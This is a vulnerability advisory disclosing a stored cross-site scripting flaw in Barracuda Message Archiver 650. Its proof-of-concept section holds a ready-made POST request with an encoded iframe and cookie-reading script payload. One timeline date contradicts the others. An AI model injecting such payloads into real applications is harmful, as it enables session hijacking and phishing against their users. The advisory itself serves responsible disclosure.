200 lines
No EOL
8.7 KiB
Text
200 lines
No EOL
8.7 KiB
Text
Document Title:
|
||
===============
|
||
Barracuda Message Archiver 650 - Persistent Vulnerability
|
||
|
||
|
||
References (Source):
|
||
====================
|
||
http://www.vulnerability-lab.com/get_content.php?id=751
|
||
|
||
Barracuda Networks Security ID (BNSEC): 703
|
||
|
||
|
||
Release Date:
|
||
=============
|
||
2014-02-18
|
||
|
||
|
||
Vulnerability Laboratory ID (VL-ID):
|
||
====================================
|
||
751
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
3.5
|
||
|
||
|
||
Product & Service Introduction:
|
||
===============================
|
||
The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively
|
||
index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By
|
||
leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable
|
||
administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive.
|
||
|
||
* Comprehensive archiving
|
||
* Exchange stubbing
|
||
* Search and retrieval
|
||
* Policy management
|
||
* Intelligent Storage Manager
|
||
* Roles-based interface
|
||
* Reporting and statistics
|
||
|
||
The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an
|
||
easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all
|
||
email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered
|
||
by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy
|
||
definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to
|
||
decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform
|
||
to protect against any potential security vulnerabilities.
|
||
|
||
(Copy of the Vendor Homepage: http://www.barracudanetworks.com )
|
||
|
||
|
||
Abstract Advisory Information:
|
||
==============================
|
||
The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in Barracudas Messsage Archiver 3.1.0.914 Appliance Application.
|
||
|
||
|
||
Vulnerability Disclosure Timeline:
|
||
==================================
|
||
2013-11-08: Researcher Notification & Coordination (Benjamin Kunz Mejri)
|
||
2013-11-10: Vendor Notification (Barracuda Networks - Bug Bounty Program)
|
||
2013-11-13: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Program)
|
||
2013-02-17: Vendor Fix/Patch (Barracuda Networks Developer Team)
|
||
2014-02-18: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Discovery Status:
|
||
=================
|
||
Published
|
||
|
||
|
||
Affected Product(s):
|
||
====================
|
||
Barracuda Networks
|
||
Product: Message Archiver 650 - Appliance Application 3.1.0.914
|
||
|
||
|
||
Exploitation Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity Level:
|
||
===============
|
||
Medium
|
||
|
||
|
||
Technical Details & Description:
|
||
================================
|
||
A persistent input validation vulnerability has been discovered in the official Barracuda Networks Message Archiver 650 v3.1.0.914 appliance web-application.
|
||
The remote vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable message archiver module.
|
||
|
||
The vulnerability is located in the `Benutzer > Neu Anlegen > Rolle: Auditor > Domänen` module. Remote attackers are able to inject own malicious script
|
||
codes with persistent attack vector in the vulnerable domain_list_table-r0 parameter. The execution of the script code occurs in the domain_list_table-r0
|
||
and user_domain_admin:1 appliance application response context. The request method is POST and the attack vector is persistent on the application-side of
|
||
the barracuda networks message archiver appliance. The security risk of the input validation web vulnerability is
|
||
estimated as medium with a cvss (common vulnerability scoring system) count of 3.5(+)|(-)3.6.
|
||
|
||
Exploitation of the vulnerability requires a low privileged or restricted application user account with low or medium user interaction. Successful exploitation
|
||
of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of module context.
|
||
|
||
Request Method(s):
|
||
[+] POST
|
||
|
||
Vulnerable Module(s):
|
||
[+] Benutzer > Neu Anlegen > Rolle: Auditor > Domänen
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] domain_list_table-r0
|
||
|
||
|
||
|
||
Proof of Concept (PoC):
|
||
=======================
|
||
The persistent web vulnerability can be exploited by remote attacker with low privileged application user account and low required user inter action.
|
||
For security demonstration or to reproduce the remote vulnerability follow the provided information and steps below.
|
||
|
||
Benutzer > Neu Anlegen > Rolle: Auditor > Domänen > (domain_list_table-r0)
|
||
|
||
POST REQUEST:
|
||
ajax_bc_sub=addDomain
|
||
domain=%22%3E%3Ciframe%20src%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C%20%20%22%3E%3Ciframe%20src
|
||
%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C
|
||
user=guest
|
||
password=75361da9533223d9685576d10bd6aa02
|
||
et=
|
||
1352520628
|
||
locale=de_DE
|
||
realm=
|
||
auth_type=Local
|
||
primary_tab=USERS
|
||
secondary_tab=per_user_add_update
|
||
|
||
|
||
URL: http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
|
||
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM
|
||
|
||
PoC: Benutzer > Neu Anlegen > Rolle: Auditor > Domänen > (domain_list_table-r0)
|
||
|
||
<td style="vertical-align:middle;text-align:left;white-space:nowrap">
|
||
%20"><iframe src="http://vuln-lab.com" onload="alert(document.cookie)" <=""
|
||
"="[PERSISTENT INJECTED SCRIPT CODE!]< </iframe><input name="user_domain_admin:1"
|
||
id="user_domain_admin:1" value=""[PERSISTENT INJECTED SCRIPT CODE!]" type="hidden"></td>
|
||
|
||
|
||
Reference(s):
|
||
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi
|
||
|
||
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
|
||
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM
|
||
|
||
|
||
Solution - Fix & Patch:
|
||
=======================
|
||
The vulnerability can be patched by a secure parse of the vulnerable affected listing in the domain_list_table-r0 parameter.
|
||
|
||
Barracuda Networks Appliance: Advanced->Firmware Updates page
|
||
|
||
|
||
Security Risk:
|
||
==============
|
||
The security risk of the persistent input validation web vulnerability is estimated as medium.
|
||
|
||
|
||
Credits & Authors:
|
||
==================
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||
|
||
|
||
Disclaimer & Information:
|
||
=========================
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright © 2013 | Vulnerability Laboratory
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |